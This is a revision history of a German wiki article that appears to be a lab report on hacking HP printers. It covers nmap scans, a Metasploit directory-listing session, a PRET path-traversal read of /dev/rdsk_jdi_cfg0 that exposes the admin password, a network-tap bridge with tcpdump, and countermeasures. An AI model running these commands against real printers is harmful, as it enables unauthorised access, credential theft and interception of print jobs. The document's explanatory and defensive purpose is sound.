Hacking Printers - Revision history

Wolfm at 07:21, 17 October 2017

2017-10-17T07:21:12Z

← Older revision		Revision as of 07:21, 17 October 2017
Line 66:		Line 66:

	==Tools==		==Tools==
	* [https://www.thc.org/thc-hydra/ Hydra] ist ein Programm zum automatisierten massenhaften ausprobieren von Nutzerkennung-Passwort-Kombinationen auf Anmeldemasken. Dieses Vorgehen nennt man auch einen brute-force-Angriff. Hydra erlaubt die Einstellung verschiedener Passwort-Generierungs-Muster und unterstützt mehrere Login-Protokolle, beispielsweise <~~code~~>http-post</~~code~~> oder <~~code~~>ftp</~~code~~> Zur Konfiguration steht sowohl ein CLI als auch ein zusätzlich installierbares GUI zur Verfügung. Diese herangehensweise ist allerdings nur praktikabel, wenn der Vorgang parallelisierbar ist. Dies war im Kontext des Einbrechens in einen Drucker nicht möglich, weshalb dieser Angriff trotz bekannter Einschänkungen der Passwortkomplexität in unserem Fall nicht praktikabel war.		* [https://www.thc.org/thc-hydra/ Hydra] ist ein Programm zum automatisierten massenhaften ausprobieren von Nutzerkennung-Passwort-Kombinationen auf Anmeldemasken. Dieses Vorgehen nennt man auch einen brute-force-Angriff. Hydra erlaubt die Einstellung verschiedener Passwort-Generierungs-Muster und unterstützt mehrere Login-Protokolle, beispielsweise <pre>http-post</pre> oder <pre>ftp</pre> Zur Konfiguration steht sowohl ein CLI als auch ein zusätzlich installierbares GUI zur Verfügung. Diese herangehensweise ist allerdings nur praktikabel, wenn der Vorgang parallelisierbar ist. Dies war im Kontext des Einbrechens in einen Drucker nicht möglich, weshalb dieser Angriff trotz bekannter Einschänkungen der Passwortkomplexität in unserem Fall nicht praktikabel war.

	* [https://www.metasploit.com/ Metasploit] erlaubt es bekannte Schwachstellen automatisiert auszunutzen. Zu einer bekannten Vulnerability wird ein Modul implementiert, das einen konfigurierbaren Payload per Kommandozeilenbefehl		* [https://www.metasploit.com/ Metasploit] erlaubt es bekannte Schwachstellen automatisiert auszunutzen. Zu einer bekannten Vulnerability wird ein Modul implementiert, das einen konfigurierbaren Payload per Kommandozeilenbefehl
Line 72:		Line 72:

	Beispiel:		Beispiel:
	<~~code~~>		<pre>
	msf > use auxiliary/scanner/printer/printer_list_dir		msf > use auxiliary/scanner/printer/printer_list_dir
	msf auxiliary(printer_list_dir) > info		msf auxiliary(printer_list_dir) > info
Line 121:		Line 121:
	[*] Scanned 1 of 1 hosts (100% complete)		[*] Scanned 1 of 1 hosts (100% complete)
	[*] Auxiliary module execution completed		[*] Auxiliary module execution completed
	</~~code~~>		</pre>


Line 127:		Line 127:

	Beispiel:		Beispiel:
	<~~code~~>		<pre>
	$> pret <printer ip> ps		$> pret <printer ip> ps
	</~~code~~>		</pre>

	<~~code~~>		<pre>

	192.168.188.22:/> ?		192.168.188.22:/> ?
Line 146:		Line 146:
	config dicts free load pagecount restart unlock		config dicts free load pagecount restart unlock
	cross disable fuzz lock print search uptime		cross disable fuzz lock print search uptime
	</~~code~~>		</pre>
	<~~code~~>		<pre>
	192.168.188.22:/> ls ../../..		192.168.188.22:/> ls ../../..
	- 834 Jul 9 2000 (created Jul 9 2000) .profile		- 834 Jul 9 2000 (created Jul 9 2000) .profile
Line 158:		Line 158:
	d - Jan 1 1970 (created Jan 1 1970) lib		d - Jan 1 1970 (created Jan 1 1970) lib
	d - Jan 1 1970 (created Jan 1 1970) tmp		d - Jan 1 1970 (created Jan 1 1970) tmp
	</~~code~~>		</pre>

	<~~code~~>		<pre>
	192.168.188.22:/> get ../../../dev/rdsk_jdi_cfg0		192.168.188.22:/> get ../../../dev/rdsk_jdi_cfg0
	Size mismatch (should: 0, is: 86016).		Size mismatch (should: 0, is: 86016).
Line 179:		Line 179:
	^@fritz.box^@^O^P^A<98>^A^A^@^@ ^P^A<98>^A ^@Weimar70^@!^P^A<98>^A^A^@^@5^P^A<98>^A^A^@^@8^P^A<98>^A^E^@AUTO^@		^@fritz.box^@^O^P^A<98>^A^A^@^@ ^P^A<98>^A ^@Weimar70^@!^P^A<98>^A^A^@^@5^P^A<98>^A^A^@^@8^P^A<98>^A^E^@AUTO^@
	<80>^A<98>^A^A^@^@^K<80>^A<A8>^A^@^@^Q^P^A<88>^A^D^@^@^@^@^@^S^P^A<88>^A^D^@^@^@^@^@^\^P^A<88>^A^D^@^@^@^@^@^]^P^A<88>^A^D^@^A^@^@^@^^^P^A<88>^A^D^@^@^@^@^@"^P^A<88>^A^D^@^@^@^@^@^A ^A<88>^A^D^@^A^@^@^@^C ^A<88>^A^D^@^A^@^@^@^F ^A<88>^A^D^@^A^@^@^@^G ^A<88>^A^D^@^A^@^@^@^H ^A<88>^A^D^@^A^@^@^@^N ^A<88>^A^D^@^A^@^@^@		<80>^A<98>^A^A^@^@^K<80>^A<A8>^A^@^@^Q^P^A<88>^A^D^@^@^@^@^@^S^P^A<88>^A^D^@^@^@^@^@^\^P^A<88>^A^D^@^@^@^@^@^]^P^A<88>^A^D^@^A^@^@^@^^^P^A<88>^A^D^@^@^@^@^@"^P^A<88>^A^D^@^@^@^@^@^A ^A<88>^A^D^@^A^@^@^@^C ^A<88>^A^D^@^A^@^@^@^F ^A<88>^A^D^@^A^@^@^@^G ^A<88>^A^D^@^A^@^@^@^H ^A<88>^A^D^@^A^@^@^@^N ^A<88>^A^D^@^A^@^@^@
	</~~code~~>		</pre>

	Für die getesteten HP-Drucker enthält die durch den Pathtraversal Angriff erreichbare Datei /dev/rdsk_jdi_cfg0 das Administratorpasswort (in diesem Fall "Weimar70"). Dies erlaubt eine Konfiguration des Druckers nach Wünschen des Angreifers.		Für die getesteten HP-Drucker enthält die durch den Pathtraversal Angriff erreichbare Datei /dev/rdsk_jdi_cfg0 das Administratorpasswort (in diesem Fall "Weimar70"). Dies erlaubt eine Konfiguration des Druckers nach Wünschen des Angreifers.
Line 190:		Line 190:
	Um an Druckaufträge zu kommen, ohne vorher in den Drucker selbst eingedrungen sein zu müssen, muss die Verbindung angezapft werden. Hierfür gibt es spezielle Geräte wie [http://www.midbittech.com/ SharkTap], aber auch ein [https://www.raspberrypi.org/ Raspberry Pi] mit entsprechenden Adaptern taugt für experimentelle Zwecke. Hierfür muss dieser so konfiguriert werden, dass dieser als Bridge fungiert, also den Netzwerkwerker eins-zu-eins weiterleitet.		Um an Druckaufträge zu kommen, ohne vorher in den Drucker selbst eingedrungen sein zu müssen, muss die Verbindung angezapft werden. Hierfür gibt es spezielle Geräte wie [http://www.midbittech.com/ SharkTap], aber auch ein [https://www.raspberrypi.org/ Raspberry Pi] mit entsprechenden Adaptern taugt für experimentelle Zwecke. Hierfür muss dieser so konfiguriert werden, dass dieser als Bridge fungiert, also den Netzwerkwerker eins-zu-eins weiterleitet.

	<~~code~~>		<pre>
	ifconfig eth0 0.0.0.0		ifconfig eth0 0.0.0.0
	ifconfig eth1 0.0.0.0		ifconfig eth1 0.0.0.0
Line 197:		Line 197:
	brctl addif bridge0 eth1		brctl addif bridge0 eth1
	ifconfig bridge0 up		ifconfig bridge0 up
	</~~code~~>		</pre>

	Anschließend kann mithilfe des Programms <~~code~~>tcpdump</~~code~~> der Netzwerkverkehr mitgeschnitten werden.		Anschließend kann mithilfe des Programms <pre>tcpdump</pre> der Netzwerkverkehr mitgeschnitten werden.
	<~~code~~>		<pre>
	$> tcpdump -i <bridge_interface> -A -s0 -vv -w /path/to/dump.file		$> tcpdump -i <bridge_interface> -A -s0 -vv -w /path/to/dump.file
	</~~code~~>		</pre>

	Um daraus den Druckauftrag zu rekonstruieren, ist ein Zusammensetzen der aufgezeichneten Pakete notwendig.		Um daraus den Druckauftrag zu rekonstruieren, ist ein Zusammensetzen der aufgezeichneten Pakete notwendig.

Wolfm: /* Gegenmaßnahmen */

2017-10-17T07:17:09Z

Gegenmaßnahmen

← Older revision		Revision as of 07:17, 17 October 2017
Line 210:		Line 210:
	==Gegenmaßnahmen==		==Gegenmaßnahmen==
	* '''Path traversal''':		* '''Path traversal''':
	* Die Lücke wurde in neueren Firmwareversionen geschlossen, daher reicht ein einfaches Patchen des Systems aus		** Die Lücke wurde in neueren Firmwareversionen geschlossen, daher reicht ein einfaches Patchen des Systems aus
	* Sollte PostScript nicht unbedingt notwendig sein, könnte die Unterstützung deaktiviert werden		** Sollte PostScript nicht unbedingt notwendig sein, könnte die Unterstützung deaktiviert werden
	* '''Physischer Man-in-the-Middle''':		* '''Physischer Man-in-the-Middle''':
	* SSL-Verschlüsselung der Printjobs		** SSL-Verschlüsselung der Printjobs
	* Absuchen des Druckers vor Drucken von sensiblen Dokumenten		** Absuchen des Druckers vor Drucken von sensiblen Dokumenten


	==Literatur- und Quellenverzeichnis==		==Literatur- und Quellenverzeichnis==

Wolfm: Undo revision 12579 by Wolfm (talk)

2017-10-16T12:12:58Z

Undo revision 12579 by Wolfm (talk)

← Older revision		Revision as of 12:12, 16 October 2017
Line 72:		Line 72:

	Beispiel:		Beispiel:
	<~~pre~~>		<code>
	msf > use auxiliary/scanner/printer/printer_list_dir		msf > use auxiliary/scanner/printer/printer_list_dir
	msf auxiliary(printer_list_dir) > info		msf auxiliary(printer_list_dir) > info
Line 121:		Line 121:
	[*] Scanned 1 of 1 hosts (100% complete)		[*] Scanned 1 of 1 hosts (100% complete)
	[*] Auxiliary module execution completed		[*] Auxiliary module execution completed
	</~~pre~~>		</code>


Line 127:		Line 127:

	Beispiel:		Beispiel:
	<~~pre~~>		<code>
	$> pret <printer ip> ps		$> pret <printer ip> ps
	</~~pre~~>		</code>

	<~~pre~~>		<code>

	192.168.188.22:/> ?		192.168.188.22:/> ?
Line 158:		Line 158:
	d - Jan 1 1970 (created Jan 1 1970) lib		d - Jan 1 1970 (created Jan 1 1970) lib
	d - Jan 1 1970 (created Jan 1 1970) tmp		d - Jan 1 1970 (created Jan 1 1970) tmp
	</~~pre~~>		</code>

	<~~pre~~>		<code>
	192.168.188.22:/> get ../../../dev/rdsk_jdi_cfg0		192.168.188.22:/> get ../../../dev/rdsk_jdi_cfg0
	Size mismatch (should: 0, is: 86016).		Size mismatch (should: 0, is: 86016).
Line 179:		Line 179:
	^@fritz.box^@^O^P^A<98>^A^A^@^@ ^P^A<98>^A ^@Weimar70^@!^P^A<98>^A^A^@^@5^P^A<98>^A^A^@^@8^P^A<98>^A^E^@AUTO^@		^@fritz.box^@^O^P^A<98>^A^A^@^@ ^P^A<98>^A ^@Weimar70^@!^P^A<98>^A^A^@^@5^P^A<98>^A^A^@^@8^P^A<98>^A^E^@AUTO^@
	<80>^A<98>^A^A^@^@^K<80>^A<A8>^A^@^@^Q^P^A<88>^A^D^@^@^@^@^@^S^P^A<88>^A^D^@^@^@^@^@^\^P^A<88>^A^D^@^@^@^@^@^]^P^A<88>^A^D^@^A^@^@^@^^^P^A<88>^A^D^@^@^@^@^@"^P^A<88>^A^D^@^@^@^@^@^A ^A<88>^A^D^@^A^@^@^@^C ^A<88>^A^D^@^A^@^@^@^F ^A<88>^A^D^@^A^@^@^@^G ^A<88>^A^D^@^A^@^@^@^H ^A<88>^A^D^@^A^@^@^@^N ^A<88>^A^D^@^A^@^@^@		<80>^A<98>^A^A^@^@^K<80>^A<A8>^A^@^@^Q^P^A<88>^A^D^@^@^@^@^@^S^P^A<88>^A^D^@^@^@^@^@^\^P^A<88>^A^D^@^@^@^@^@^]^P^A<88>^A^D^@^A^@^@^@^^^P^A<88>^A^D^@^@^@^@^@"^P^A<88>^A^D^@^@^@^@^@^A ^A<88>^A^D^@^A^@^@^@^C ^A<88>^A^D^@^A^@^@^@^F ^A<88>^A^D^@^A^@^@^@^G ^A<88>^A^D^@^A^@^@^@^H ^A<88>^A^D^@^A^@^@^@^N ^A<88>^A^D^@^A^@^@^@
	</~~pre~~>		</code>

	Für die getesteten HP-Drucker enthält die durch den Pathtraversal Angriff erreichbare Datei /dev/rdsk_jdi_cfg0 das Administratorpasswort (in diesem Fall "Weimar70"). Dies erlaubt eine Konfiguration des Druckers nach Wünschen des Angreifers.		Für die getesteten HP-Drucker enthält die durch den Pathtraversal Angriff erreichbare Datei /dev/rdsk_jdi_cfg0 das Administratorpasswort (in diesem Fall "Weimar70"). Dies erlaubt eine Konfiguration des Druckers nach Wünschen des Angreifers.
Line 190:		Line 190:
	Um an Druckaufträge zu kommen, ohne vorher in den Drucker selbst eingedrungen sein zu müssen, muss die Verbindung angezapft werden. Hierfür gibt es spezielle Geräte wie [http://www.midbittech.com/ SharkTap], aber auch ein [https://www.raspberrypi.org/ Raspberry Pi] mit entsprechenden Adaptern taugt für experimentelle Zwecke. Hierfür muss dieser so konfiguriert werden, dass dieser als Bridge fungiert, also den Netzwerkwerker eins-zu-eins weiterleitet.		Um an Druckaufträge zu kommen, ohne vorher in den Drucker selbst eingedrungen sein zu müssen, muss die Verbindung angezapft werden. Hierfür gibt es spezielle Geräte wie [http://www.midbittech.com/ SharkTap], aber auch ein [https://www.raspberrypi.org/ Raspberry Pi] mit entsprechenden Adaptern taugt für experimentelle Zwecke. Hierfür muss dieser so konfiguriert werden, dass dieser als Bridge fungiert, also den Netzwerkwerker eins-zu-eins weiterleitet.

	<~~pre~~>		<code>
	ifconfig eth0 0.0.0.0		ifconfig eth0 0.0.0.0
	ifconfig eth1 0.0.0.0		ifconfig eth1 0.0.0.0
Line 197:		Line 197:
	brctl addif bridge0 eth1		brctl addif bridge0 eth1
	ifconfig bridge0 up		ifconfig bridge0 up
	</~~pre~~>		</code>

	Anschließend kann mithilfe des Programms <code>tcpdump</code> der Netzwerkverkehr mitgeschnitten werden.		Anschließend kann mithilfe des Programms <code>tcpdump</code> der Netzwerkverkehr mitgeschnitten werden.
	<~~pre~~>		<code>
	$> tcpdump -i <bridge_interface> -A -s0 -vv -w /path/to/dump.file		$> tcpdump -i <bridge_interface> -A -s0 -vv -w /path/to/dump.file
	</~~pre~~>		</code>

	Um daraus den Druckauftrag zu rekonstruieren, ist ein Zusammensetzen der aufgezeichneten Pakete notwendig.		Um daraus den Druckauftrag zu rekonstruieren, ist ein Zusammensetzen der aufgezeichneten Pakete notwendig.

Wolfm at 11:57, 16 October 2017

2017-10-16T11:57:45Z

← Older revision		Revision as of 11:57, 16 October 2017
Line 72:		Line 72:

	Beispiel:		Beispiel:
	<~~code~~>		<pre>
	msf > use auxiliary/scanner/printer/printer_list_dir		msf > use auxiliary/scanner/printer/printer_list_dir
	msf auxiliary(printer_list_dir) > info		msf auxiliary(printer_list_dir) > info
Line 121:		Line 121:
	[*] Scanned 1 of 1 hosts (100% complete)		[*] Scanned 1 of 1 hosts (100% complete)
	[*] Auxiliary module execution completed		[*] Auxiliary module execution completed
	</~~code~~>		</pre>


Line 127:		Line 127:

	Beispiel:		Beispiel:
	<~~code~~>		<pre>
	$> pret <printer ip> ps		$> pret <printer ip> ps
	</~~code~~>		</pre>

	<~~code~~>		<pre>

	192.168.188.22:/> ?		192.168.188.22:/> ?
Line 158:		Line 158:
	d - Jan 1 1970 (created Jan 1 1970) lib		d - Jan 1 1970 (created Jan 1 1970) lib
	d - Jan 1 1970 (created Jan 1 1970) tmp		d - Jan 1 1970 (created Jan 1 1970) tmp
	</~~code~~>		</pre>

	<~~code~~>		<pre>
	192.168.188.22:/> get ../../../dev/rdsk_jdi_cfg0		192.168.188.22:/> get ../../../dev/rdsk_jdi_cfg0
	Size mismatch (should: 0, is: 86016).		Size mismatch (should: 0, is: 86016).
Line 179:		Line 179:
	^@fritz.box^@^O^P^A<98>^A^A^@^@ ^P^A<98>^A ^@Weimar70^@!^P^A<98>^A^A^@^@5^P^A<98>^A^A^@^@8^P^A<98>^A^E^@AUTO^@		^@fritz.box^@^O^P^A<98>^A^A^@^@ ^P^A<98>^A ^@Weimar70^@!^P^A<98>^A^A^@^@5^P^A<98>^A^A^@^@8^P^A<98>^A^E^@AUTO^@
	<80>^A<98>^A^A^@^@^K<80>^A<A8>^A^@^@^Q^P^A<88>^A^D^@^@^@^@^@^S^P^A<88>^A^D^@^@^@^@^@^\^P^A<88>^A^D^@^@^@^@^@^]^P^A<88>^A^D^@^A^@^@^@^^^P^A<88>^A^D^@^@^@^@^@"^P^A<88>^A^D^@^@^@^@^@^A ^A<88>^A^D^@^A^@^@^@^C ^A<88>^A^D^@^A^@^@^@^F ^A<88>^A^D^@^A^@^@^@^G ^A<88>^A^D^@^A^@^@^@^H ^A<88>^A^D^@^A^@^@^@^N ^A<88>^A^D^@^A^@^@^@		<80>^A<98>^A^A^@^@^K<80>^A<A8>^A^@^@^Q^P^A<88>^A^D^@^@^@^@^@^S^P^A<88>^A^D^@^@^@^@^@^\^P^A<88>^A^D^@^@^@^@^@^]^P^A<88>^A^D^@^A^@^@^@^^^P^A<88>^A^D^@^@^@^@^@"^P^A<88>^A^D^@^@^@^@^@^A ^A<88>^A^D^@^A^@^@^@^C ^A<88>^A^D^@^A^@^@^@^F ^A<88>^A^D^@^A^@^@^@^G ^A<88>^A^D^@^A^@^@^@^H ^A<88>^A^D^@^A^@^@^@^N ^A<88>^A^D^@^A^@^@^@
	</~~code~~>		</pre>

	Für die getesteten HP-Drucker enthält die durch den Pathtraversal Angriff erreichbare Datei /dev/rdsk_jdi_cfg0 das Administratorpasswort (in diesem Fall "Weimar70"). Dies erlaubt eine Konfiguration des Druckers nach Wünschen des Angreifers.		Für die getesteten HP-Drucker enthält die durch den Pathtraversal Angriff erreichbare Datei /dev/rdsk_jdi_cfg0 das Administratorpasswort (in diesem Fall "Weimar70"). Dies erlaubt eine Konfiguration des Druckers nach Wünschen des Angreifers.
Line 190:		Line 190:
	Um an Druckaufträge zu kommen, ohne vorher in den Drucker selbst eingedrungen sein zu müssen, muss die Verbindung angezapft werden. Hierfür gibt es spezielle Geräte wie [http://www.midbittech.com/ SharkTap], aber auch ein [https://www.raspberrypi.org/ Raspberry Pi] mit entsprechenden Adaptern taugt für experimentelle Zwecke. Hierfür muss dieser so konfiguriert werden, dass dieser als Bridge fungiert, also den Netzwerkwerker eins-zu-eins weiterleitet.		Um an Druckaufträge zu kommen, ohne vorher in den Drucker selbst eingedrungen sein zu müssen, muss die Verbindung angezapft werden. Hierfür gibt es spezielle Geräte wie [http://www.midbittech.com/ SharkTap], aber auch ein [https://www.raspberrypi.org/ Raspberry Pi] mit entsprechenden Adaptern taugt für experimentelle Zwecke. Hierfür muss dieser so konfiguriert werden, dass dieser als Bridge fungiert, also den Netzwerkwerker eins-zu-eins weiterleitet.

	<~~code~~>		<pre>
	ifconfig eth0 0.0.0.0		ifconfig eth0 0.0.0.0
	ifconfig eth1 0.0.0.0		ifconfig eth1 0.0.0.0
Line 197:		Line 197:
	brctl addif bridge0 eth1		brctl addif bridge0 eth1
	ifconfig bridge0 up		ifconfig bridge0 up
	</~~code~~>		</pre>

	Anschließend kann mithilfe des Programms <code>tcpdump</code> der Netzwerkverkehr mitgeschnitten werden.		Anschließend kann mithilfe des Programms <code>tcpdump</code> der Netzwerkverkehr mitgeschnitten werden.
	<~~code~~>		<pre>
	$> tcpdump -i <bridge_interface> -A -s0 -vv -w /path/to/dump.file		$> tcpdump -i <bridge_interface> -A -s0 -vv -w /path/to/dump.file
	</~~code~~>		</pre>

	Um daraus den Druckauftrag zu rekonstruieren, ist ein Zusammensetzen der aufgezeichneten Pakete notwendig.		Um daraus den Druckauftrag zu rekonstruieren, ist ein Zusammensetzen der aufgezeichneten Pakete notwendig.

Wolfm: /* Informationsbeschaffung */

2017-10-16T11:54:32Z

Informationsbeschaffung

← Older revision		Revision as of 11:54, 16 October 2017
Line 24:		Line 24:

	Beispiel:		Beispiel:
	<~~code~~>		<pre>
	$> nmap -A 192.168.188.22		$> nmap -A 192.168.188.22
	Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-11 11:33 CEST		Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-11 11:33 CEST
Line 47:		Line 47:
	14000/tcp open tcpwrapped		14000/tcp open tcpwrapped
	MAC Address: 00:12:79:7E:EB:AE (Hewlett Packard)		MAC Address: 00:12:79:7E:EB:AE (Hewlett Packard)
	</~~code~~>		</pre>

	* [https://www.tenable.com/products/nessus-vulnerability-scanner Nessus] ist ein proprietäres Tool, dass Ziele auf bekannte Schwachstellen abklopft. Diese sind in öffentlich zugänglichen Datenbanken hinterlegt, wie etwa [https://cve.mitre.org/index.html CVE].		* [https://www.tenable.com/products/nessus-vulnerability-scanner Nessus] ist ein proprietäres Tool, dass Ziele auf bekannte Schwachstellen abklopft. Diese sind in öffentlich zugänglichen Datenbanken hinterlegt, wie etwa [https://cve.mitre.org/index.html CVE].

Wuebbent: /* Informationsbeschaffung */

2017-10-11T13:58:05Z

Informationsbeschaffung

← Older revision		Revision as of 13:58, 11 October 2017
Line 51:		Line 51:
	* [https://www.tenable.com/products/nessus-vulnerability-scanner Nessus] ist ein proprietäres Tool, dass Ziele auf bekannte Schwachstellen abklopft. Diese sind in öffentlich zugänglichen Datenbanken hinterlegt, wie etwa [https://cve.mitre.org/index.html CVE].		* [https://www.tenable.com/products/nessus-vulnerability-scanner Nessus] ist ein proprietäres Tool, dass Ziele auf bekannte Schwachstellen abklopft. Diese sind in öffentlich zugänglichen Datenbanken hinterlegt, wie etwa [https://cve.mitre.org/index.html CVE].

	[[File:Screenshot_from_2017-10-11.png]]		[[File:Screenshot_from_2017-10-11.png\|mini\|683x384px]]

	* [http://www.openvas.org/ OpenVAS] ist eine Open Source Alternative zu Nessus.		* [http://www.openvas.org/ OpenVAS] ist eine Open Source Alternative zu Nessus.

Wuebbent: /* Informationsbeschaffung */

2017-10-11T13:46:22Z

Informationsbeschaffung

← Older revision		Revision as of 13:46, 11 October 2017
Line 51:		Line 51:
	* [https://www.tenable.com/products/nessus-vulnerability-scanner Nessus] ist ein proprietäres Tool, dass Ziele auf bekannte Schwachstellen abklopft. Diese sind in öffentlich zugänglichen Datenbanken hinterlegt, wie etwa [https://cve.mitre.org/index.html CVE].		* [https://www.tenable.com/products/nessus-vulnerability-scanner Nessus] ist ein proprietäres Tool, dass Ziele auf bekannte Schwachstellen abklopft. Diese sind in öffentlich zugänglichen Datenbanken hinterlegt, wie etwa [https://cve.mitre.org/index.html CVE].

			[[File:Screenshot_from_2017-10-11.png]]
	TODO screenshot nessus

	* [http://www.openvas.org/ OpenVAS] ist eine Open Source Alternative zu Nessus.		* [http://www.openvas.org/ OpenVAS] ist eine Open Source Alternative zu Nessus.

Weberple at 12:46, 11 October 2017

2017-10-11T12:46:41Z

← Older revision		Revision as of 12:46, 11 October 2017
Line 72:		Line 72:

	Beispiel:		Beispiel:
			<code>
	msf > use auxiliary/scanner/printer/printer_list_dir		msf > use auxiliary/scanner/printer/printer_list_dir
	msf auxiliary(printer_list_dir) > info		msf auxiliary(printer_list_dir) > info
Line 80:		Line 81:
	Rank: Normal		Rank: Normal

	Provided by:		Provided by:
	wvu <wvu@metasploit.com>		wvu <wvu@metasploit.com>
	sinn3r <sinn3r@metasploit.com>		sinn3r <sinn3r@metasploit.com>
	MC <mc@metasploit.com>		MC <mc@metasploit.com>
	Myo Soe		Myo Soe
	Matteo Cantoni <goony@nothink.org>		Matteo Cantoni <goony@nothink.org>

	Basic options:		Basic options:
	Name Current Setting Required Description		Name Current Setting Required Description
	---- --------------- -------- -----------		---- --------------- -------- -----------
	PATH 0:\..\..\.. yes Remote path		PATH 0:\..\..\.. yes Remote path
	RHOSTS yes The target address range or CIDR identifier		RHOSTS yes The target address range or CIDR identifier
	RPORT 9100 yes The target port (TCP)		RPORT 9100 yes The target port (TCP)
	THREADS 1 yes The number of concurrent threads		THREADS 1 yes The number of concurrent threads

	Description:		Description:
	This module lists a directory on a set of printers using the Printer		This module lists a directory on a set of printers using the Printer
	Job Language (PJL) protocol.		Job Language (PJL) protocol.

	References:		References:
	https://en.wikipedia.org/wiki/Printer_Job_Language		https://en.wikipedia.org/wiki/Printer_Job_Language

	msf auxiliary(printer_list_dir) > set RHOSTS 192.168.188.22		msf auxiliary(printer_list_dir) > set RHOSTS 192.168.188.22
	RHOSTS => 192.168.188.22		RHOSTS => 192.168.188.22
	msf auxiliary(printer_list_dir) > run		msf auxiliary(printer_list_dir) > run
	[+] 192.168.188.22:9100 - 192.168.188.22:9100 - . TYPE=DIR		[+] 192.168.188.22:9100 - 192.168.188.22:9100 - . TYPE=DIR
	.. TYPE=DIR		.. TYPE=DIR
	bin TYPE=DIR		bin TYPE=DIR
	etc TYPE=DIR		etc TYPE=DIR
	hpmnt TYPE=DIR		hpmnt TYPE=DIR
	hp TYPE=DIR		hp TYPE=DIR
	lib TYPE=DIR		lib TYPE=DIR
	dev TYPE=DIR		dev TYPE=DIR
	init TYPE=FILE SIZE=1276		init TYPE=FILE SIZE=1276
	.profile TYPE=FILE SIZE=834		.profile TYPE=FILE SIZE=834
	tmp TYPE=DIR		tmp TYPE=DIR
	pipe TYPE=DIR		pipe TYPE=DIR

⚫	[*] Scanned 1 of 1 hosts (100% complete)
⚫	[*] Auxiliary module execution completed

		⚫	[*] Scanned 1 of 1 hosts (100% complete)
		⚫	[*] Auxiliary module execution completed
			</code>

Weberple: /* Informationsbeschaffung */

2017-10-11T12:39:17Z

Informationsbeschaffung

← Older revision		Revision as of 12:39, 11 October 2017
Line 18:		Line 18:
	==Informationsbeschaffung==		==Informationsbeschaffung==

	"Wissen ist Macht" - Diese verbreitete Weisheit gilt auch beim Eindringen in fremde Systeme. Die Methode des Social Engineerings haben wir absichtlich außen vor gelassen. Glücklicherweise gibt es diverse Tools, die das ausspähen beziehungsweise die Informationsbeschaffung erleichtern können.		"Wissen ist Macht" - Diese verbreitete Weisheit gilt auch beim Eindringen in fremde Systeme. Die Methode des Social Engineerings haben wir absichtlich außen vor gelassen. Glücklicherweise gibt es diverse Tools, die das ausspähen beziehungsweise die Informationsbeschaffung erleichtern können.


Line 54:		Line 54:

	* [http://www.openvas.org/ OpenVAS] ist eine Open Source Alternative zu Nessus.		* [http://www.openvas.org/ OpenVAS] ist eine Open Source Alternative zu Nessus.
	* Das Lesen von Dokumentation der Zielgeräte kann auch reichhaltige Informationen zu sicherheitskritischen Aspekten liefern, beispielsweise erlaubte Zeichen und Länge von Passwörtern oder Sicherheitslücken, die in Patchnotes Erwähnung finden.		* Das Lesen von Dokumentation der Zielgeräte kann auch reichhaltige Informationen zu sicherheitskritischen Aspekten liefern, beispielsweise erlaubte Zeichen und Länge von Passwörtern oder Sicherheitslücken, die in Patchnotes Erwähnung finden.


	==Schwachstellen ausnutzen==		==Schwachstellen ausnutzen==

Weberple at 12:13, 11 October 2017

2017-10-11T12:13:32Z

← Older revision		Revision as of 12:13, 11 October 2017
Line 11:		Line 11:

	Die von uns getesten Angriffe waren auf zwei der drei getesteten Drucker erfolgreich, was es uns erlaubte das Administratorpasswort zu erlangen und somit vollen Zugriff		Die von uns getesten Angriffe waren auf zwei der drei getesteten Drucker erfolgreich, was es uns erlaubte das Administratorpasswort zu erlangen und somit vollen Zugriff
	auf das Gerät zu erhalten.		auf das Gerät zu erhalten.

	http://hacking-printers.net/wiki/index.php/Port_9100_printing		http://hacking-printers.net/wiki/index.php/Port_9100_printing



	==Informationsbeschaffung==		==Informationsbeschaffung==

	"Wissen ist Macht" - Diese verbreitete Weisheit gilt auch beim Eindringen in fremde Systeme. Glücklicherweise gibt es diverse Tools, die das ausspähen ~~bzw.~~ die Informationsbeschaffung erleichtern können.		"Wissen ist Macht" - Diese verbreitete Weisheit gilt auch beim Eindringen in fremde Systeme. Die Methode des Social Engineerings haben wir absichtlich außen vor gelassen. Glücklicherweise gibt es diverse Tools, die das ausspähen beziehungsweise die Informationsbeschaffung erleichtern können.


	* [https://nmap.org/ NMAP] erlaubt das Scannen von IP-Adressbereichen auf offene Ports sowie die darauf angebotenen Dienste.		* [https://nmap.org/ NMAP] erlaubt das Scannen von IP-Adressbereichen auf offene Ports sowie die darauf angebotenen Dienste.
Line 59:		Line 60:

	==Druckersprachen==		==Druckersprachen==
	* PCL: Die Printer Command Language ist eine Befehlssprache für Drucker. Die Sprache wurde mit dem Ziel entwickelt, alle Druckertypen über eine gemeinsame Standardsprache ansteuern zu können. PCL basiert auf Escape-Sequenzen und ist daher deutlich weniger komplex als PostScipt.		* PCL<ref> Wikipedia. [https://en.wikipedia.org/wiki/PostScript PostScript]. Accessed 11.10.2017</ref>: Die Printer Command Language ist eine Befehlssprache für Drucker. Die Sprache wurde mit dem Ziel entwickelt, alle Druckertypen über eine gemeinsame Standardsprache ansteuern zu können. PCL basiert auf Escape-Sequenzen und ist daher deutlich weniger komplex als PostScipt.

	* PJL: Die Printer Job Language ist eine Sammlung von Kommandos, mit denen Drucker kontrolliert werden können. PJL bietet neben einer kombletten Jobsteuerung auch umfangreiche Statuskontrollen an. Zum Beispiel kann der aktuelle Status einer Anfrage des druckenden Rechners abgefragt werden. Die Auxiliary Module von Metasploit benutzen die PJL.		* PJL<ref> Wikipedia. [https://en.wikipedia.org/wiki/PJL PJL]. Accessed 11.10.2017</ref>: Die Printer Job Language ist eine Sammlung von Kommandos, mit denen Drucker kontrolliert werden können. PJL bietet neben einer kombletten Jobsteuerung auch umfangreiche Statuskontrollen an. Zum Beispiel kann der aktuelle Status einer Anfrage des druckenden Rechners abgefragt werden. Die Auxiliary Module von Metasploit benutzen die PJL.

	* PS: PostScript ist eine turingvollständige Sprache zur Spezifikation von Druckjobs. Unter anderem ist der Zugriff auf das Dateisystem des Druckers implementiert, was die Grundlage der ausgenutzten Sicherheitslücken darstellt.		* PS<ref> Wikipedia. [https://en.wikipedia.org/wiki/PCL PCL]. Accessed 11.10.2017</ref>: PostScript ist eine turingvollständige Sprache zur Spezifikation von Druckjobs. Unter anderem ist der Zugriff auf das Dateisystem des Druckers implementiert, was die Grundlage der ausgenutzten Sicherheitslücken darstellt.

	==Tools==		==Tools==
Line 221:		Line 222:
